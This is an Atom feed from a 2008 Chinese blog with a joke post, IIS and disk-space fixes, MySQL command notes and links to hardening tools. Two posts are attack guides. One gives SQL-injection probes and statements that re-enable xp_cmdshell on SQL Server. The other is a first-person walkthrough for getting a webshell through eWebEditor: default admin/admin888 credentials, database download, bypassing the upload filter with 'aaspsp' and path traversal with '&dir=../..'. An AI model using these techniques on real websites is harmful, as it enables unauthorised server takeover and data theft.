<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[LiJun027's Blog]]></title>
  <subtitle type="html"><![CDATA[^_^小伙子大学毕业后，在一个小公司朝八晚六，找个女朋友，一起为前程发愁。^_^]]></subtitle>
  <id>http://drler.net/</id> 
  <link rel="alternate" type="text/html" href="http://drler.net/" /> 
  <link rel="self" type="application/atom+xml" href="http://drler.net/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-06-29T11:24:01+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[男人用伟哥的目的是什么？ ]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=3" label="乱七八糟" /> 
	  <updated>2008-06-29T11:24:01+08:00</updated>
	  <published>2008-06-29T11:24:01+08:00</published>
		  <summary type="html"><![CDATA[主持人问女选手：“男人用伟哥的目的是什么？”<br/><br/>女选手红着脸思考了很久说：“想不出来。”<br/><br/>主持人立即说：“恭喜你答对了!&nbsp;”<br/><br/>席下一片议论：“回答的太精辟了!&nbsp;”]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=1004" /> 
	  <id>http://drler.net/default.asp?id=1004</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[3389技巧整理]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=10" label="网络渗透" /> 
	  <updated>2008-04-26T16:21:59+08:00</updated>
	  <published>2008-04-26T16:21:59+08:00</published>
		  <summary type="html"><![CDATA[<div class="UBBPanel"><div class="UBBTitle"><img src="http://drler.net/images/quote.gif" style="margin:0px 2px -3px 0px" alt="隐藏内容"/> 隐藏内容</div><div class="UBBContent">该内容已经被作者隐藏,只有会员才允许查阅 <a href="http://drler.net/login.asp">登录</a> | <a href="http://drler.net/register.asp">注册</a></div></div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=1003" /> 
	  <id>http://drler.net/default.asp?id=1003</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[批处理设置服务器安全，最方便的处理方式]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=6" label="系统安全" /> 
	  <updated>2008-04-25T11:23:01+08:00</updated>
	  <published>2008-04-25T11:23:01+08:00</published>
		  <summary type="html"><![CDATA[从网络上找了很久，有些源码还是收费的，下面帖的全是免费的。有些代码我已经仔细看过，脚本做的很不错，没有耐心是很难写出这些代码的。但是建议大家谨慎使用，看懂代码再操作。<br/><br/>青云服务器安全设置器：<a href="http://safe.atimg.com/ThecSafe1.9.3.2.rar" target="_blank">http://safe.atimg.com/ThecSafe1.9.3.2.rar</a><br/>聚友系统文件权限设置：<a href="http://www.juyo.org/upload/2008/4/DirectorySafe.rar" target="_blank">http://www.juyo.org/upload/2008/4/DirectorySafe.rar</a><br/>服务器安全辅助设置工具v1.52：thunder://QUFodHRwOi8vZG93bi4xNjhjb2RlLmNvbS8yMDA4LzAzLzE2OGNvZGVfU3J2R2FyZC5yYXJaWg==&nbsp;<br/><br/><img src="http://drler.net/images/download.gif" alt="下载文件" style="margin:0px 2px -4px 0px"/> <a href="http://drler.net/attachments/month_0804/l2008425112149.rar" target="_blank">点击下载此文件</a><br/><img src="http://drler.net/images/download.gif" alt="下载文件" style="margin:0px 2px -4px 0px"/> <a href="http://drler.net/attachments/month_0804/f200842511223.rar" target="_blank">点击下载此文件</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=1002" /> 
	  <id>http://drler.net/default.asp?id=1002</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[xp_cmdshell的删除及恢复方法总结]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=10" label="网络渗透" /> 
	  <updated>2008-04-25T10:57:05+08:00</updated>
	  <published>2008-04-25T10:57:05+08:00</published>
		  <summary type="html"><![CDATA[一、xp_cmdshell的删除及恢复&nbsp;<br/>1、判断xp_cmdshell是否存在&nbsp;<br/>and&nbsp;1=(Sel&#101;ct&nbsp;count(*)&nbsp;FROM&nbsp;master.dbo.sysobjects&nbsp;Wh&#101;re&nbsp;xtype&nbsp;=&nbsp;’X’&nbsp;AND&nbsp;name&nbsp;=&nbsp;’xp_cmdshell’)&nbsp;<br/><br/>sel&#101;ct&nbsp;count(*)&nbsp;from&nbsp;master.dbo.sysobjects&nbsp;wh&#101;re&nbsp;xtype=’x’&nbsp;and&nbsp;<br/>返回结果为1就ok&nbsp;<br/><br/><br/>2、恢复xp_cmdshell的方法&nbsp;&nbsp;&nbsp;<br/>删除扩展存储过过程xp_cmdshell的语句&nbsp;&nbsp;&nbsp;<br/>exec&nbsp;sp_dro&#112;extendedproc&nbsp;’xp_cmdshell’&nbsp;&nbsp;&nbsp;<br/><br/>恢复cmdshell的sql语句&nbsp;&nbsp;&nbsp;<br/>exec&nbsp;sp_addextendedproc&nbsp;xp_cmdshell&nbsp;,@dllname&nbsp;=’xplog70.dll’&nbsp;&nbsp;&nbsp;<br/><br/>exec&nbsp;master.dbo.addextendedproc&nbsp;’xp_cmdshell’,’xplog70.dll’;sel&#101;ct&nbsp;count(*)&nbsp;from&nbsp;master.dbo.sysobjects&nbsp;wh&#101;re&nbsp;xtype=’x’&nbsp;and&nbsp;&nbsp;&nbsp;<br/>返回结果为1就ok&nbsp;&nbsp;&nbsp;<br/><br/>否则需上传c:\inetput\web\xplog70.dll后&nbsp;&nbsp;&nbsp;<br/>exec&nbsp;master.dbo.sp_addextendedproc&nbsp;’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--&nbsp;&nbsp;&nbsp;<br/><br/>如果是用以下方法删除&nbsp;&nbsp;&nbsp;<br/>dro&#112;&nbsp;procedure&nbsp;sp_addextendedproc&nbsp;&nbsp;&nbsp;<br/>dro&#112;&nbsp;procedure&nbsp;sp_oacr&#101;ate&nbsp;&nbsp;&nbsp;<br/>exec&nbsp;sp_dro&#112;extendedproc&nbsp;’xp_cmdshell’&nbsp;&nbsp;&nbsp;<br/><br/>则可以用以下语句恢复&nbsp;&nbsp;&nbsp;<br/>dbcc&nbsp;addextendedproc&nbsp;(&#34;sp_oacr&#101;ate&#34;,&#34;odsole70.dll&#34;)&nbsp;&nbsp;&nbsp;<br/>dbcc&nbsp;addextendedproc&nbsp;(&#34;xp_cmdshell&#34;,&#34;xplog70.dll&#34;)&nbsp;&nbsp;&nbsp;<br/>这样可以直接恢复，不用去管sp_addextendedproc是不是存在&nbsp;&nbsp;&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=1001" /> 
	  <id>http://drler.net/default.asp?id=1001</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[windows2003服务器上IIS占用CPU资源100％的解决办法]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=6" label="系统安全" /> 
	  <updated>2008-04-25T10:54:50+08:00</updated>
	  <published>2008-04-25T10:54:50+08:00</published>
		  <summary type="html"><![CDATA[以下是方案1：<br/>现象：机器正在调试或允许IIS时,被异常中断服务(比如停电)，然后再次IIS运行页面时，CPU资源占用100%，即使重新启动也无效。&nbsp;<br/>原因：发生中断时，IIS会写异常日志，但是此时写入了乱码，造成IIS一直写日志的死循环，耗尽了系统资源。找到系统路径\System32\Logfiles\W3SVC1&nbsp;下当天的错误日志文件，即可看到以上内容。&nbsp;<br/>解决：删除&nbsp;系统路径\System32\Logfiles\W3SVC1&nbsp;下当天的错误日志文件，如：ex060904.log，然后重新启动IIS即可。&nbsp;<br/><br/><br/>以下是方案2：<br/>环境：win2003server+IIs+ASP+MSSQL&nbsp;<br/>现象：每隔一段时间（不定，有时几分钟，有时半小时）出现一次网站打开非常缓慢，甚至有时会出现超时打不开站点，此时查看服务器端的进程，CPU占用率达到100%，其中w3wp占用70~80%，SQL占用20~30%。所有服务器端的操作也变得缓慢&nbsp;<br/>初期解决方法：每次现象出现时，立即登录服务器直接结束w3wp进程或重启IIS服务，平均每天约十次操作，由于服务器存放于远程机房，所有操作都是远程控制进行，有时会因此出现远程无法连接登录的情况，只能通过电话通知机房管理人员重启服务器解决，此过程导致用户抱怨不断&nbsp;<br/>经过网上查阅资料，发现此类现象多数由于网页代码不合理所致，以下情况会导致此类现象发生：&nbsp;&nbsp;<br/>1、代码中多处使用application、seesion等服务器缓存，导致服务器资料过度占用；&nbsp;<br/>2、代码有不合理语法，死循环等；&nbsp;<br/>3、数据库损坏，尤其是ACCESS数据库；&nbsp;&nbsp;<br/>4、装过多第三方软件或插件，与IIS或网页功能代码冲突。&nbsp;&nbsp;<br/>第一阶段排查：根据查阅到的参考资料逐项分析&nbsp;<br/>1、服务器上所有站点代码均为公司设计人员自行编写，可证实并无过多调用服务器缓存语法（排除）&nbsp;<br/>2、代码是否存在不合理语法（不确定）&nbsp;<br/>3、根据情况来看，IIS进程占用率升高时，SQL占用率同时升高，应为SQL数据库的站点，根据现象判断，库或表应该正常，估计是数据方面可能有误；（不确定）&nbsp;&nbsp;<br/>4、服务器端除了基本的系统服务，防杀毒及网站运作必备服务之外，并无多余第三方软件，机率不大（排除）。&nbsp;<br/><br/>经过以上分析判断，将不确定项连起来得出的结论是：某个采用了SQL数据库的网站网页代码存在不合理语法，导致IIS和SQL进程CPU占用率过高。&nbsp;<br/><br/>第二阶段排查：&nbsp;<br/>确定范围，接着继续把范围缩小。&nbsp;<br/>由于服务器上采用SQL数据库的站点并不多，便于建立独立进程ID来观察，将所有采用SQL数据库的站点在IIS管理器中分别建立独立的应用程序池，然后通过CMD界面输入：iisapp&nbsp;-a&nbsp;命今查看并记录下各IIS池的进程ID号，通过多次现象重现时的观察，有个IIS进程ID是导致此次问题的罪魁祸首。&nbsp;&nbsp;<br/><br/><br/>以下是方案3：<br/>在IIS6下，经常出现w3wp.exe的内存及CPU占用不能及时释放，从而导致服务器响应速度很慢。&nbsp;&nbsp;<br/>&nbsp;&nbsp;<br/>解决内存占用过多，可以做以下配置：&nbsp;&nbsp;<br/>1、在IIS中对每个网站进行单独的应用程序池配置。即互相之间不影响。&nbsp;<br/>2、设置应用程序池的回收时间，默认为1720小时，可以根据情况修改。再设置当内存占用超过多少（如500M），就自动回收内存。&nbsp;<br/><br/>解决CPU占用过多：&nbsp;<br/>1、在IIS中对每个网站进行单独的应用程序池配置。即互相之间不影响。&nbsp;<br/>2、设置应用程序池的CPU监视，不超过25%（服务器为4CPU），每分钟刷新，超过限制时关闭。&nbsp;&nbsp;<br/><br/>根据w3wp取得是那个一个应用程序池：&nbsp;&nbsp;&nbsp;<br/>1、在任务管理器中增加显示pid字段。就可以看到占用内存或者cpu最高的进程&nbsp;&nbsp;&nbsp;<br/>2、在命令提示符下运行iisapp&nbsp;-a。注意，第一次运行，会提示没有js支持，点击确定。然后再次运行就可以了。这样就可以看到pid对应的应用程序池。（iisapp实际上是存放在C:\windows\system32目录下的一个VBS脚本，全名为iisapp.vbs，如果你和我一样，也禁止了Vbs默认关联程序，那么就需要手动到该目录，先择打开方式，然后选“Microsoft&nbsp;(r)&nbsp;Windows&nbsp;Based&nbsp;Script&nbsp;Host”来执行，就可以得到PID与应用程序池的对应关系。）&nbsp;<br/>3、到iis中察看该应用程序池对应的网站，就ok了，做出上面的内存或CPU方面的限制，或检查程序有无死循环之类的问题。&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=1000" /> 
	  <id>http://drler.net/default.asp?id=1000</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[eWebEditor 漏洞汇集]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=10" label="网络渗透" /> 
	  <updated>2008-04-25T10:52:12+08:00</updated>
	  <published>2008-04-25T10:52:12+08:00</published>
		  <summary type="html"><![CDATA[一、后台上马漏洞<br/>各位站长在使用eWebEditor的时候是否发现，eWebEditor配置不当会使其成为网站中的隐形炸弹呢？第一次发现这漏洞源于去年的一次入侵，在山穷水尽的时候发现了eWebEditor，于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历，这才想起应该写一篇文章和大家共享一下，同时也请广大已经使用了eWebEditor的站长赶紧检查一下自己的站点。要不然，下一个被黑的就是你哦！&nbsp;<br/><br/>漏洞利用<br/>利用eWebEditor获得WebShell的步骤大致如下：<br/>1．确定网站使用了eWebEditor。一般来说，我们只要注意发表帖子（文章）的页面是否有类似做了记号的图标，就可以大致做出判断了。<br/>2．查看源代码，找到eWebEditor的路径。点击“查看源代码”，看看源码中是否存在类似“&lt;iframe&nbsp;ID=&#39;eWebEditor1&#39;&nbsp;src=&#39;/edit/ewebeditor.asp?id=content&amp;style=web&#39;&nbsp;frameborder=0&nbsp;scrolling=no&nbsp;width=&#39;550&#39;&nbsp;HEIGHT=&#39;350&#39;&gt;&lt;/iframe&gt;”的语句。其实只有发现了存在这样的语句了，才可以真正确定这个网站使用了eWebEditor。然后记下src=&#39;***&#39;中的“***”，这就是eWebEditor路径。<br/>3．访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp，和ewebeditor.asp在同一目录下。以上面的路径为例，我们访问的地址为：<a href="http://www." target="_blank">http://www.</a>***.net/edit/admin_login.asp，看看是否出现了登录页面。<br/>如果没有看到这样的页面，说明管理员已经删除了管理登录页面，呵呵，还等什么，走人啊，换个地方试试。不过一般来说，我很少看到有哪个管理员删了这个页面，试试默认的用户名：admin，密码：admin888。怎么样？成功了吧（不是默认账户请看后文）！<br/>4．增加上传文件类型。点击“样式管理”，随便选择列表中底下的某一个样式的“设置，为什么要选择列表中底下的样式？因为eWebEditor自带的样式是不允许修改的，当然你也可以拷贝一个新的样式来设置。<br/><br/>然后在上传的文件类型中增加“asa”类型。<br/><br/>5．上传ASP木马，获得WebShell。接下来将ASP木马的扩展名修改为asa，就可以简单上传你的ASP木马了。不要问我怎么上传啊，看到&nbsp;“预览”&nbsp;了吗？点击“预览”，然后选择“插入其它文件”的按钮就可以了。<br/><br/><br/>漏洞原理<br/>漏洞的利用原理很简单，请看Upload.asp文件：<br/>任何情况下都不允许上传asp脚本文件<br/>sAllowExt&nbsp;=&nbsp;Replace(UCase(sAllowExt),&nbsp;&#34;ASP&#34;,&nbsp;&#34;&#34;)<br/>因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷：既然作者已经知道asp文件需要过滤，为什么不同时过滤asa、cer等文件呢？也许这就是对免费用户不负责任的表现吧！<br/><br/>高级应用<br/>eWebEditor的漏洞利用还有一些技巧：<br/>1．使用默认用户名和密码无法登录。<br/>请试试直接下载db目录下的ewebeditor.mdb文件，用户名和密码在eWebEditor_System表中，经过了md5加密，如果无法下载或者无法****，那就当自己的运气不好了。<br/>2．加了asa类型后发现还是无法上传。<br/>应该是站长懂点代码，自己修改了Upload.asp文件，但是没有关系，按照常人的思维习惯，往往会直接在sAllowExt&nbsp;=&nbsp;Replace(UCase(sAllowExt),&nbsp;&#34;ASP&#34;,&nbsp;&#34;&#34;)一句上修改，我就看见过一个站长是这样修改的：<br/>sAllowExt&nbsp;=&nbsp;Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt),&nbsp;&#34;ASP&#34;,&nbsp;&#34;&#34;),&nbsp;&#34;CER&#34;,&nbsp;&#34;&#34;),&nbsp;&#34;ASA&#34;,&nbsp;&#34;&#34;),&nbsp;&#34;CDX&#34;,&nbsp;&#34;&#34;),&nbsp;&#34;HTR&#34;,&nbsp;&#34;&#34;)<br/>猛一看什么都过滤了，但是我们只要在上传类型中增加“aaspsp”，就可以直接上传asp文件了。呵呵，是不是天才的想法？“aaspsp”过滤了“asp”字符后，反而变成了“asp”！顺便告诉大家一个秘密，其实动网论坛7.0&nbsp;sp2中也可以利用类似的方法绕过对扩展名的过滤。<br/>3．上传了asp文件后，却发现该目录没有运行脚本的权限。<br/>呵呵，真是好笨啊，上传类型可以改，上传路径不是也可以修改的吗？仔细看看图四。<br/>4．已经使用了第2点中的方法，但是asp类型还是无法上传。<br/>看来站长肯定是一个写asp的高手，但是我们还有最后一招来对付他：看到图三中的“远程类型”了吗？eWebEditor能够设定自动保存远程文件的类型，我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢？方法是很多的，最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。<br/><br/><br/>二、ewebeditor遍历路径漏洞<br/>Ewebeditor为非常常见的网站核心程序,<br/>默认数据库为&nbsp;/db/ewebeditor.mdb&nbsp;默认路径admin_login.asp&nbsp;默认管理员admin密码admin(admin888)<br/><br/>ewebedit进入后台添加样式.得到webshell很容易.&nbsp;有时候很不幸.管理员把数据库改为只读权限.<br/><br/>但是ewebeditor后台有个小小的缺陷.&nbsp;可以历遍整个网站目录.&nbsp;当然.数据库为只读的时候一样可以利用.<br/><br/>上传文件管理---选择样式目录(随便选一个目录)<br/>得到:<br/>ewebeditor/admin_uploadfile.asp?id=14<br/>在id=14后面添加&amp;dir=..<br/>再加&nbsp;&amp;dir=../..<br/>&amp;dir=../../../..&nbsp;看到整个网站文件了]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=999" /> 
	  <id>http://drler.net/default.asp?id=999</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MySql常用命令总结]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=13" label="数据库类" /> 
	  <updated>2008-04-25T10:50:41+08:00</updated>
	  <published>2008-04-25T10:50:41+08:00</published>
		  <summary type="html"><![CDATA[1、启动MySQL服务器<br/>　　<br/>　两种方法:&nbsp;一是用winmysqladmin，如果机器启动时已自动运行，则可直接进入下一步操作。&nbsp;二是在DOS方式下运行&nbsp;d:\mysql\bin\mysqld<br/>　(假设mysql&nbsp;安装在d:\mysql);当然也可以&nbsp;net&nbsp;start&nbsp;mysql命令启动。而Linux中启动时可用“/etc/rc.d/init.d/mysqld&nbsp;start”命令，注&nbsp;意启动者应具有管理员权限。<br/>　<br/>2、进入mysql交互操作界面<br/>　　<br/>　　在DOS方式下，运行:&nbsp;d:\mysql\bin\mysql<br/>　　出现:&nbsp;mysql&nbsp;的提示符”&nbsp;mysql&gt;&nbsp;“，此时已进入mysql的交互操作方式。<br/>　　如果出现&nbsp;“ERROR&nbsp;2003:&nbsp;Can′t&nbsp;connect&nbsp;to&nbsp;MySQL&nbsp;server&nbsp;on&nbsp;′localhost′&nbsp;(10061)“，说明你的MySQL还没有启动。<br/>　　<br/>3、退出MySQL操作界面<br/>　　<br/>　　在mysql&gt;提示符下输入quit可以随时退出交互操作界面:　　<br/>　　mysql&gt;&nbsp;quit<br/>　　Bye<br/>　　<br/>　<br/>4、第一条命令(多条命令用&nbsp;“,”&nbsp;分隔&nbsp;,一条命令可以分成多行输入，直到出现分号”;”为止<br/>　　<br/>　　mysql&gt;&nbsp;sel&#101;ct&nbsp;version(),current_date();<br/>　　mysql&gt;Sel&#101;ct&nbsp;(20+5)*4;<br/>　　mysql&gt;Sel&#101;ct&nbsp;(20+5)*4,sin(pi()/3);<br/>　　mysql&gt;Sel&#101;ct&nbsp;(20+5)*4&nbsp;AS&nbsp;Result,sin(pi()/3);&nbsp;(AS:&nbsp;指定假名为Result)<br/><br/>5、常用sql&nbsp;语句<br/><br/>1:使用SHOW语句找出在服务器上当前存在什么数据库：<br/>mysql&gt;&nbsp;SHOW&nbsp;DATABASES;<br/>2:2、创建一个数据库MYSQLDATA<br/>mysql&gt;&nbsp;Cr&#101;ate&nbsp;DATABASE&nbsp;MYSQLDATA;<br/>3:选择你所创建的数据库<br/>mysql&gt;&nbsp;USE&nbsp;MYSQLDATA;&nbsp;(按回车键出现Database&nbsp;changed&nbsp;时说明操作成功！)<br/>4:查看现在的数据库中存在什么表<br/>mysql&gt;&nbsp;SHOW&nbsp;TABLES;<br/>5:创建一个数据库表<br/>mysql&gt;&nbsp;Cr&#101;ate&nbsp;TABLE&nbsp;MYTABLE&nbsp;(name&nbsp;VARCHAR(20),&nbsp;sex&nbsp;CHAR(1));<br/>6:显示表的结构：<br/>mysql&gt;&nbsp;DESCRIBE&nbsp;MYTABLE;<br/>7:往表中加入记录<br/>mysql&gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;MYTABLE&nbsp;values&nbsp;(”hyq”,”M”);<br/>8:用文本方式将数据装入数据库表中（例如D:/mysql.txt）<br/>mysql&gt;&nbsp;LOAD&nbsp;DATA&nbsp;LOCAL&nbsp;INFILE&nbsp;“D:/mysql.txt”&nbsp;INTO&nbsp;TABLE&nbsp;MYTABLE;<br/>9:导入.sql文件命令（例如D:/mysql.sql）<br/>mysql&gt;use&nbsp;database;<br/>mysql&gt;source&nbsp;d:/mysql.sql;<br/>10:删除表<br/>mysql&gt;dro&#112;&nbsp;TABLE&nbsp;MYTABLE;<br/>11:清空表<br/>mysql&gt;del&#101;te&nbsp;from&nbsp;MYTABLE;<br/>12:更新表中数据<br/>mysql&gt;up&#100;ate&nbsp;MYTABLE&nbsp;set&nbsp;sex=”f”&nbsp;wh&#101;re&nbsp;name=’hyq’;<br/>13:插入数据<br/>mysq&gt;lins&#101;rt&nbsp;into&nbsp;MYTABLE&nbsp;values&nbsp;(1,&nbsp;‘第二章’,&nbsp;0×2134545);<br/>14:登录后使用数据库&nbsp;mysql<br/>mysql&nbsp;-u&nbsp;root&nbsp;-p&nbsp;mysql<br/>mysql&nbsp;-u&nbsp;root&nbsp;-p&nbsp;-h&nbsp;11.11.11.11&nbsp;database<br/>15:mysql&nbsp;jdbc连接url&nbsp;使用中文<br/>jdbc:mysql://localhost/test?useUnicode=true&amp;characterEncoding=gb2312<br/><br/>[separator]<br/><br/>其它：<br/>show&nbsp;processlist;列出每一笔联机的信息。<br/>show&nbsp;varlables;列出mysql的系统设定。<br/>show&nbsp;tables&nbsp;from&nbsp;db_name;列出db_name中所有数据表;<br/>show&nbsp;[full]&nbsp;columns&nbsp;from&nbsp;table_name;列出table_name中完整信息，如栏名、类型,包括字符集编码。<br/>show&nbsp;index&nbsp;from&nbsp;table_name;&nbsp;列出table_name中所有的索引。<br/>show&nbsp;table&nbsp;status;；列出当前数据库中数据表的信息。<br/>show&nbsp;table&nbsp;status&nbsp;from&nbsp;db_name;；列出当前db_name中数据表的信息。<br/>alt&#101;r&nbsp;table&nbsp;table_name&nbsp;engine&nbsp;innodb|myisam|memory&nbsp;;更改表类型<br/>explain&nbsp;table_name&nbsp;/&nbsp;describe&nbsp;table_name&nbsp;;&nbsp;列出table_name完整信息，如栏名、类型。<br/>show&nbsp;cr&#101;ate&nbsp;table&nbsp;table_name&nbsp;显示当前表的建表语句<br/>alt&#101;r&nbsp;table&nbsp;table_name&nbsp;add&nbsp;primary&nbsp;key&nbsp;(picid)&nbsp;;&nbsp;向表中增加一个主键<br/>alt&#101;r&nbsp;table&nbsp;table_name&nbsp;add&nbsp;column&nbsp;userid&nbsp;int&nbsp;after&nbsp;picid&nbsp;修改表结构增加一个新的字段<br/>alt&#101;r&nbsp;table&nbsp;table_name&nbsp;character&nbsp;set&nbsp;gb2312&nbsp;改变表的编码<br/>sel&#101;ct&nbsp;user();&nbsp;显示当前用户。<br/>sel&#101;ct&nbsp;password(’root’);&nbsp;显示当前用户密码<br/>sel&#101;ct&nbsp;now();&nbsp;显示当前日期<br/>flush&nbsp;privileges&nbsp;在不重启的情况下刷新用户权限<br/>mysqld&nbsp;–default-character-set=gb2312&nbsp;;设置默认字符集为gb2312<br/><br/>6、安全<br/><br/>刚安装好的MySql包含一个含空密码的root帐户和一个匿名帐户，这是很大的安全隐患，对于一些重要的应用我们应将安全性尽可能提高，在这里应把匿名帐户删除、&nbsp;root帐户设置密码，可用如下命令进行：<br/><br/>use&nbsp;mysql;<br/>del&#101;te&nbsp;from&nbsp;User&nbsp;wh&#101;re&nbsp;User=”&#34;;<br/>up&#100;ate&nbsp;User&nbsp;set&nbsp;Password=PASSWORD(’newpassword’)&nbsp;wh&#101;re&nbsp;User=’root’;<br/><br/>改完重启&nbsp;mysql&nbsp;才能生效.<br/><br/>上面命令参数是常用参数的一部分，详细情况可参考文档。此处的mydb是要登录的数据库的名称。<br/>在进行开发和实际应用中，用户不应该只用root用户进行连接数据库，虽然使用root用户进行测试时很方便，但会给系统带来重大安全隐患，也不利于管理技术的提高。我们给一个应用中使用的用户赋予最恰当的数据库权限。如一个只进行数据插入的用户不应赋予其删除数据的权限。MySql的用户管理是通过&nbsp;User表来实现的，添加新用户常用的方法有两个，一是在User表插入相应的数据行，同时设置相应的权限；二是通过GRANT命令创建具有某种权限的用户。其中GRANT的常用用法如下：<br/><br/>grant&nbsp;all&nbsp;on&nbsp;mydb.*&nbsp;to&nbsp;NewUserName@HostName&nbsp;identified&nbsp;by&nbsp;“password”&nbsp;;<br/>grant&nbsp;usage&nbsp;on&nbsp;*.*&nbsp;to&nbsp;NewUserName@HostName&nbsp;identified&nbsp;by&nbsp;“password”;<br/>grant&nbsp;sel&#101;ct,ins&#101;rt,up&#100;ate&nbsp;on&nbsp;mydb.*&nbsp;to&nbsp;NewUserName@HostName&nbsp;identified&nbsp;by&nbsp;“password”;<br/>grant&nbsp;up&#100;ate,del&#101;te&nbsp;on&nbsp;mydb.TestTable&nbsp;to&nbsp;NewUserName@HostName&nbsp;identified&nbsp;by&nbsp;“password”;<br/>grant&nbsp;all&nbsp;privileges&nbsp;on&nbsp;*.*&nbsp;to&nbsp;root@localhost<br/>grant&nbsp;sel&#101;ct,ins&#101;rt,del&#101;te,up&#100;ate,alt&#101;r,cr&#101;ate,dro&#112;&nbsp;on&nbsp;lybbs.*&nbsp;to&nbsp;NewUserName@”%”&nbsp;identified&nbsp;by&nbsp;“lybbs”;<br/><br/>若要给此用户赋予他在相应对象上的权限的管理能力，可在GRANT后面添加WITH&nbsp;GRANT&nbsp;OPTION选项。而对于用插入User表添加的用户，Password字段应用PASSWORD&nbsp;函数进行更新加密，以防不轨之人窃看密码。对于那些已经不用的用户应给予清除，权限过界的用户应及时回收权限，回收权限可以通过更新User表相应字段，也可以使用REVOKE操作。<br/><br/>全局管理权限：<br/>FILE:&nbsp;在MySQL服务器上读写文件。<br/>PROCESS:&nbsp;显示或杀死属于其它用户的服务线程。<br/>RELOAD:&nbsp;重载访问控制表，刷新日志等。<br/>SHUTDOWN:&nbsp;关闭MySQL服务。<br/>数据库/数据表/数据列权限：<br/>Alt&#101;r:&nbsp;修改已存在的数据表(例如增加/删除列)和索引。<br/>Cr&#101;ate:&nbsp;建立新的数据库或数据表。<br/>Del&#101;te:&nbsp;删除表的记录。<br/>Dro&#112;:&nbsp;删除数据表或数据库。<br/>INDEX:&nbsp;建立或删除索引。<br/>Ins&#101;rt:&nbsp;增加表的记录。<br/>Sel&#101;ct:&nbsp;显示/搜索表的记录。<br/>Up&#100;ate:&nbsp;修改表中已存在的记录。<br/>特别的权限：<br/>ALL:&nbsp;允许做任何事(和root一样)。<br/>USAGE:&nbsp;只允许登录–其它什么也不允许做。]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=998" /> 
	  <id>http://drler.net/default.asp?id=998</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C盘空间不足解决办法]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=6" label="系统安全" /> 
	  <updated>2008-04-25T10:48:11+08:00</updated>
	  <published>2008-04-25T10:48:11+08:00</published>
		  <summary type="html"><![CDATA[一、关闭IIS&nbsp;HTTPRERR日志功能<br/><br/><br/>默认情况下，2003服务器会把所有IIS访问错误的记录写入&nbsp;C:\WINDOWS\system32\LogFiles\HTTPERR&nbsp;下的&nbsp;log&nbsp;文件中，如果访问量比较大，可能一段时间后&nbsp;日志文件可能会占满C盘空间，导致服务器死机<br/><br/>同时因为要写入所有的IIS访问记录，如果访问量较大会大大增加服务器CPU占用率<br/><br/>关闭HTTPERR的方法<br/><br/>运行里输入&nbsp;regedit&nbsp;进入注册表编辑器<br/>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HTTP\Parameters]<br/><br/>在右边&nbsp;点鼠标右键&nbsp;新建dword值&nbsp;EnableErrorLogging&nbsp;重新启动服务器就可以了<br/><br/>&#34;EnableErrorLogging&#34;=dword:00000000&nbsp;<br/><br/>重起后，2003不再写入HTTPERR日志文件，可以看到服务器CPU占用明显下降！<br/><br/><br/>二、修改存储目录也不失为一个好的办法<br/><br/><br/>寻找:<br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HTTP\Parameters<br/><br/>在下面建立一个字符串值.即REG_SZ<br/>数值名称&nbsp;命名为:&nbsp;ErrorLoggingDir<br/>数值数据&nbsp;为你指定的路径&nbsp;比如&nbsp;&nbsp;&nbsp;&nbsp;D:\logofilse<br/><br/>三、清理一些不重要的文件<br/><br/>1.打开“我的电脑”-“